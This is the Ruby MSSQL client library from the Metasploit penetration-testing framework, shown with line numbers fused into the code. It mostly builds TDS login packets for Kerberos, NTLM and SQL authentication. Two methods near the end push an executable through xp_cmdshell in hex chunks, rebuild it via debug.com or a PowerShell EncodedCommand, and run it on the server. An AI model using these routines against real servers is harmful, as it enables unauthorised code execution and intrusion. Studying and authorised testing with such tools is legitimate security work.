Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/proto/mssql/client.rb
Views: 11704
require 'metasploit/framework/tcp/client'1require 'metasploit/framework/mssql/tdssslproxy'2require 'rex/proto/mssql/client_mixin'3require 'rex/text'4require 'msf/core/exploit'5require 'msf/core/exploit/remote'67module Rex8module Proto9module MSSQL10class Client11include Metasploit::Framework::Tcp::Client12include Rex::Proto::MSSQL::ClientMixin13include Rex::Text14include Msf::Exploit::Remote::MSSQL_COMMANDS15include Msf::Exploit::Remote::Udp16include Msf::Exploit::Remote::NTLM::Client17include Msf::Exploit::Remote::Kerberos::Ticket::Storage18include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options1920attr_accessor :tdsencryption21attr_accessor :sock22attr_accessor :auth23attr_accessor :ssl24attr_accessor :ssl_version25attr_accessor :ssl_verify_mode26attr_accessor :ssl_cipher27attr_accessor :proxies28attr_accessor :connection_timeout29attr_accessor :send_lm30attr_accessor :send_ntlm31attr_accessor :send_spn32attr_accessor :use_lmkey33attr_accessor :use_ntlm2_session34attr_accessor :use_ntlmv235attr_accessor :windows_authentication36attr_reader :framework_module37attr_reader :framework38# @!attribute max_send_size39# @return [Integer] The max size of the data to encapsulate in a single packet40attr_accessor :max_send_size41# @!attribute send_delay42# @return [Integer] The delay between sending packets43attr_accessor :send_delay44# @!attribute initial_connection_info45# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.46# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec47attr_accessor :initial_connection_info48# @!attribute current_database49# @return [String] The database name this client is currently connected to.50attr_accessor :current_database5152def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil)53@framework_module = framework_module54@framework = framework55@connection_timeout = framework_module.datastore['ConnectTimeout'] || 3056@max_send_size = framework_module.datastore['TCP::max_send_size'] || 057@send_delay = framework_module.datastore['TCP::send_delay'] || 05859@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO60@hostname = framework_module.datastore['Mssql::Rhostname'] || ''6162@windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false63@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false64@hex2binary = framework_module.datastore['HEX2BINARY'] || ''6566@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''67@rhost = rhost68@rport = rport69@proxies = proxies70@current_database = ''71end7273# MS SQL Server only supports Windows and Linux74def map_compile_os_to_platform(server_info)75return '' if server_info.blank?7677os_data = server_info.downcase.encode(::Encoding::BINARY)7879if os_data.match?('linux')80platform = Msf::Platform::Linux.realname81elsif os_data.match?('windows')82platform = Msf::Platform::Windows.realname83elsif os_data.match?('win')84platform = Msf::Platform::Windows.realname85else86platform = os_data87end88platform89end9091# MS SQL Server currently only supports 64 bit but older installs may be x8692def map_compile_arch_to_architecture(server_info)93return '' if server_info.blank?9495arch_data = server_info.downcase.encode(::Encoding::BINARY)9697if arch_data.match?('x64')98arch = ARCH_X86_6499elsif arch_data.match?('x86')100arch = ARCH_X86101elsif arch_data.match?('64')102arch = ARCH_X86_64103elsif arch_data.match?('32-bit')104arch = ARCH_X86105else106arch = arch_data107end108arch109end110111# @return [Hash] Detect the platform and architecture of the MSSQL server:112# * :arch [String] The server architecture.113# * :platform [String] The server platform.114def detect_platform_and_arch115result = {}116117version_string = query('select @@version')[:rows][0][0]118arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string119plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string120121result[:arch] = map_compile_arch_to_architecture(arch)122result[:platform] = map_compile_os_to_platform(plat)123result124end125126#127# This method connects to the server over TCP and attempts128# to authenticate with the supplied username and password129# The global socket is used and left connected after auth130#131132def mssql_login(user='sa', pass='', db='', domain_name='')133prelogin_data = mssql_prelogin134if auth == Msf::Exploit::Remote::AuthOption::KERBEROS135idx = 0136pkt = ''137pkt_hdr = ''138pkt_hdr = [139TYPE_TDS7_LOGIN, #type140STATUS_END_OF_MESSAGE, #status1410x0000, #length1420x0000, # SPID1430x01, # PacketID (unused upon specification144# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)1450x00 #Window146]147148pkt << [1490x00000000, # Size1500x71000001, # TDS Version1510x00000000, # Dummy Size1520x00000007, # Version153rand(1024+1), # PID1540x00000000, # ConnectionID1550xe0, # Option Flags 11560x83, # Option Flags 21570x00, # SQL Type Flags1580x00, # Reserved Flags1590x00000000, # Time Zone1600x00000000 # Collation161].pack('VVVVVVCCCCVV')162163cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )164aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name165sname = Rex::Text.to_unicode( rhost )166framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?167kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(168host: @domain_controller_rhost,169hostname: @hostname,170mssql_port: rport,171proxies: proxies,172realm: domain_name,173username: user,174password: pass,175framework: framework,176framework_module: framework_module,177ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)178)179180kerberos_result = kerberos_authenticator.authenticate181ssp_security_blob = kerberos_result[:security_blob]182183idx = pkt.size + 50 # lengths below184185pkt << [idx, cname.length / 2].pack('vv')186idx += cname.length187188pkt << [0, 0].pack('vv') # User length offset must be 0189pkt << [0, 0].pack('vv') # Password length offset must be 0190191pkt << [idx, aname.length / 2].pack('vv')192idx += aname.length193194pkt << [idx, sname.length / 2].pack('vv')195idx += sname.length196197pkt << [0, 0].pack('vv') # unused198199pkt << [idx, aname.length / 2].pack('vv')200idx += aname.length201202pkt << [idx, 0].pack('vv') # locales203204pkt << [idx, 0].pack('vv') #db205206# ClientID (should be mac address)207pkt << Rex::Text.rand_text(6)208209# SSP210pkt << [idx, ssp_security_blob.length].pack('vv')211idx += ssp_security_blob.length212213pkt << [idx, 0].pack('vv') # AtchDBFile214215pkt << cname216pkt << aname217pkt << sname218pkt << aname219pkt << ssp_security_blob220221# Total packet length222pkt[0, 4] = [pkt.length].pack('V')223224pkt_hdr[2] = pkt.length + 8225226pkt = pkt_hdr.pack("CCnnCC") + pkt227228# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)229# has a strange behavior that differs from the specifications230# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header231# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification232resp = mssql_send_recv(pkt, 15, false)233234info = {:errors => []}235info = mssql_parse_reply(resp, info)236self.initial_connection_info = info237self.initial_connection_info[:prelogin_data] = prelogin_data238239return false if not info240return info[:login_ack] ? true : false241elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication242idx = 0243pkt = ''244pkt_hdr = ''245pkt_hdr = [246TYPE_TDS7_LOGIN, #type247STATUS_END_OF_MESSAGE, #status2480x0000, #length2490x0000, # SPID2500x01, # PacketID (unused upon specification251# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)2520x00 #Window253]254255pkt << [2560x00000000, # Size2570x71000001, # TDS Version2580x00000000, # Dummy Size2590x00000007, # Version260rand(1024+1), # PID2610x00000000, # ConnectionID2620xe0, # Option Flags 12630x83, # Option Flags 22640x00, # SQL Type Flags2650x00, # Reserved Flags2660x00000000, # Time Zone2670x00000000 # Collation268].pack('VVVVVVCCCCVV')269270cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )271aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name272sname = Rex::Text.to_unicode( rhost )273dname = Rex::Text.to_unicode( db )274275workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)276277ntlm_client = ::Net::NTLM::Client.new(278user,279pass,280workstation: workstation_name,281domain: domain_name,282)283type1 = ntlm_client.init_context284# SQL 2012, at least, does not support KEY_EXCHANGE285type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]286ntlmsspblob = type1.serialize287288idx = pkt.size + 50 # lengths below289290pkt << [idx, cname.length / 2].pack('vv')291idx += cname.length292293pkt << [0, 0].pack('vv') # User length offset must be 0294pkt << [0, 0].pack('vv') # Password length offset must be 0295296pkt << [idx, aname.length / 2].pack('vv')297idx += aname.length298299pkt << [idx, sname.length / 2].pack('vv')300idx += sname.length301302pkt << [0, 0].pack('vv') # unused303304pkt << [idx, aname.length / 2].pack('vv')305idx += aname.length306307pkt << [idx, 0].pack('vv') # locales308309pkt << [idx, 0].pack('vv') #db310311# ClientID (should be mac address)312pkt << Rex::Text.rand_text(6)313314# NTLMSSP315pkt << [idx, ntlmsspblob.length].pack('vv')316idx += ntlmsspblob.length317318pkt << [idx, 0].pack('vv') # AtchDBFile319320pkt << cname321pkt << aname322pkt << sname323pkt << aname324pkt << ntlmsspblob325326# Total packet length327pkt[0, 4] = [pkt.length].pack('V')328329pkt_hdr[2] = pkt.length + 8330331pkt = pkt_hdr.pack("CCnnCC") + pkt332333# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)334# has a strange behavior that differs from the specifications335# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header336# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification337if tdsencryption == true338proxy = TDSSSLProxy.new(sock)339proxy.setup_ssl340resp = proxy.send_recv(pkt)341else342resp = mssql_send_recv(pkt, 15, false)343end344345# Strip the TDS header346resp = resp[3..-1]347type3 = ntlm_client.init_context([resp].pack('m'))348type3_blob = type3.serialize349350# Create an SSPIMessage351idx = 0352pkt = ''353pkt_hdr = ''354pkt_hdr = [355TYPE_SSPI_MESSAGE, #type356STATUS_END_OF_MESSAGE, #status3570x0000, #length3580x0000, # SPID3590x01, # PacketID3600x00 #Window361]362363pkt_hdr[2] = type3_blob.length + 8364365pkt = pkt_hdr.pack("CCnnCC") + type3_blob366367if self.tdsencryption == true368resp = mssql_ssl_send_recv(pkt, proxy)369proxy.cleanup370proxy = nil371else372resp = mssql_send_recv(pkt)373end374375#SQL Server Authentication376else377idx = 0378pkt = ''379pkt << [3800x00000000, # Dummy size3813820x71000001, # TDS Version3830x00000000, # Size3840x00000007, # Version385rand(1024+1), # PID3860x00000000, # ConnectionID3870xe0, # Option Flags 13880x03, # Option Flags 23890x00, # SQL Type Flags3900x00, # Reserved Flags3910x00000000, # Time Zone3920x00000000 # Collation393].pack('VVVVVVCCCCVV')394395396cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )397uname = Rex::Text.to_unicode( user )398pname = mssql_tds_encrypt( pass )399aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )400sname = Rex::Text.to_unicode( rhost )401dname = Rex::Text.to_unicode( db )402403idx = pkt.size + 50 # lengths below404405pkt << [idx, cname.length / 2].pack('vv')406idx += cname.length407408pkt << [idx, uname.length / 2].pack('vv')409idx += uname.length410411pkt << [idx, pname.length / 2].pack('vv')412idx += pname.length413414pkt << [idx, aname.length / 2].pack('vv')415idx += aname.length416417pkt << [idx, sname.length / 2].pack('vv')418idx += sname.length419420pkt << [0, 0].pack('vv')421422pkt << [idx, aname.length / 2].pack('vv')423idx += aname.length424425pkt << [idx, 0].pack('vv')426427pkt << [idx, dname.length / 2].pack('vv')428idx += dname.length429430# The total length has to be embedded twice more here431pkt << [4320,4330,4340x12345678,4350x12345678436].pack('vVVV')437438pkt << cname439pkt << uname440pkt << pname441pkt << aname442pkt << sname443pkt << aname444pkt << dname445446# Total packet length447pkt[0, 4] = [pkt.length].pack('V')448449# Embedded packet lengths450pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2451452# Packet header and total length including header453pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt454455if self.tdsencryption == true456proxy = TDSSSLProxy.new(sock)457proxy.setup_ssl458resp = mssql_ssl_send_recv(pkt, proxy)459proxy.cleanup460proxy = nil461else462resp = mssql_send_recv(pkt)463end464465end466467info = {:errors => []}468info = mssql_parse_reply(resp, info)469self.initial_connection_info = info470self.initial_connection_info[:prelogin_data] = prelogin_data471472return false if not info473info[:login_ack] ? true : false474end475476#477#this method send a prelogin packet and check if encryption is off478#479def mssql_prelogin(enc_error=false)480disconnect if self.sock481connect482483pkt = mssql_prelogin_packet484485resp = mssql_send_recv(pkt)486487idx = 0488data = parse_prelogin_response(resp)489490unless data[:encryption]491framework_module.print_error("Unable to parse encryption req " \492"during pre-login, this may not be a MSSQL server")493data[:encryption] = ENCRYPT_NOT_SUP494end495496##########################################################497# Our initial prelogin pkt above said we didnt support498# encryption (it's quicker and the default).499#500# Per the matrix on the following link, SQL Server will501# terminate the connection if it does require TLS,502# otherwise it will accept an unencrypted session. As503# part of this initial response packet, it also returns504# ENCRYPT_REQ.505#506# https://msdn.microsoft.com\507# /en-us/library/ee320519(v=sql.105).aspx508#509##########################################################510511if data[:encryption] == ENCRYPT_REQ512# restart prelogin process except that we tell SQL Server513# than we are now able to encrypt514disconnect if self.sock515connect516517# offset 35 is the flag - turn it on518pkt[35] = [ENCRYPT_ON].pack('C')519self.tdsencryption = true520framework_module.print_status("TLS encryption has " \521"been enabled based on server response.")522523resp = mssql_send_recv(pkt)524data = parse_prelogin_response(resp)525526unless data[:encryption]527framework_module.print_error("Unable to parse encryption req " \528"during pre-login, this may not be a MSSQL server")529data[:encryption] = ENCRYPT_NOT_SUP530end531end532data533end534535def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)536tdsproxy.send_recv(req)537end538539def query(sqla, doprint=false, opts={})540info = { :sql => sqla }541opts[:timeout] ||= 15542pkts = []543idx = 0544545bsize = 4096 - 8546chan = 0547548@cnt ||= 0549@cnt += 1550551sql = Rex::Text.to_unicode(sqla)552while(idx < sql.length)553buf = sql[idx, bsize]554flg = buf.length < bsize ? "\x01" : "\x00"555pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf556idx += bsize557558end559560resp = mssql_send_recv(pkts.join, opts[:timeout])561mssql_parse_reply(resp, info)562mssql_print_reply(info) if doprint563info564end565566def mssql_upload_exec(exe, debug=false)567hex = exe.unpack("H*")[0]568569var_bypass = Rex::Text.rand_text_alpha(8)570var_payload = Rex::Text.rand_text_alpha(8)571572print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")573print_status("Writing the debug.com loader to the disk...")574h2b = File.read(@hex2binary, File.size(@hex2binary))575h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")576h2b.split(/\n/).each do |line|577mssql_xpcmdshell("#{line}", false)578end579580print_status("Converting the debug script to an executable...")581mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)582mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)583584print_status("Uploading the payload, please be patient...")585idx = 0586cnt = 500587while(idx < hex.length - 1)588mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)589idx += cnt590end591592print_status("Converting the encoded payload...")593mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)594mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)595mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)596597print_status("Executing the payload...")598mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})599end600601def powershell_upload_exec(exe, debug=false)602# hex converter603hex = exe.unpack("H*")[0]604# create random alpha 8 character names605#var_bypass = rand_text_alpha(8)606var_payload = rand_text_alpha(8)607print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")608# our payload converter, grabs a hex file and converts it to binary for us through powershell609h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"610h2b_unicode=Rex::Text.to_unicode(h2b)611# base64 encode it, this allows us to perform execution through powershell without registry changes612h2b_encoded = Rex::Text.encode_base64(h2b_unicode)613print_status("Uploading the payload #{var_payload}, please be patient...")614idx = 0615cnt = 500616while(idx < hex.length - 1)617mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)618idx += cnt619end620print_status("Converting the payload utilizing PowerShell EncodedCommand...")621mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)622mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)623print_status("Executing the payload...")624mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})625print_status("Be sure to cleanup #{var_payload}.exe...")626end627628# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.629# @return [Hash] Returns a hash of values if the provided type exists.630# @return [Hash] Returns the whole connection info if envchange is nil.631# @return [Hash] Returns an empty hash if the provided type is not present.632def initial_info_for_envchange(envchange: nil)633return self.initial_connection_info if envchange.nil?634return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))635636self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}637end638639def peerhost640rhost641end642643def peerport644rport645end646647def peerinfo648"#{peerhost}:#{peerport}"649end650651protected652653def rhost654@rhost655end656657def rport658@rport659end660661def chost662return nil663end664665def cport666return nil667end668end669670end671end672end673674675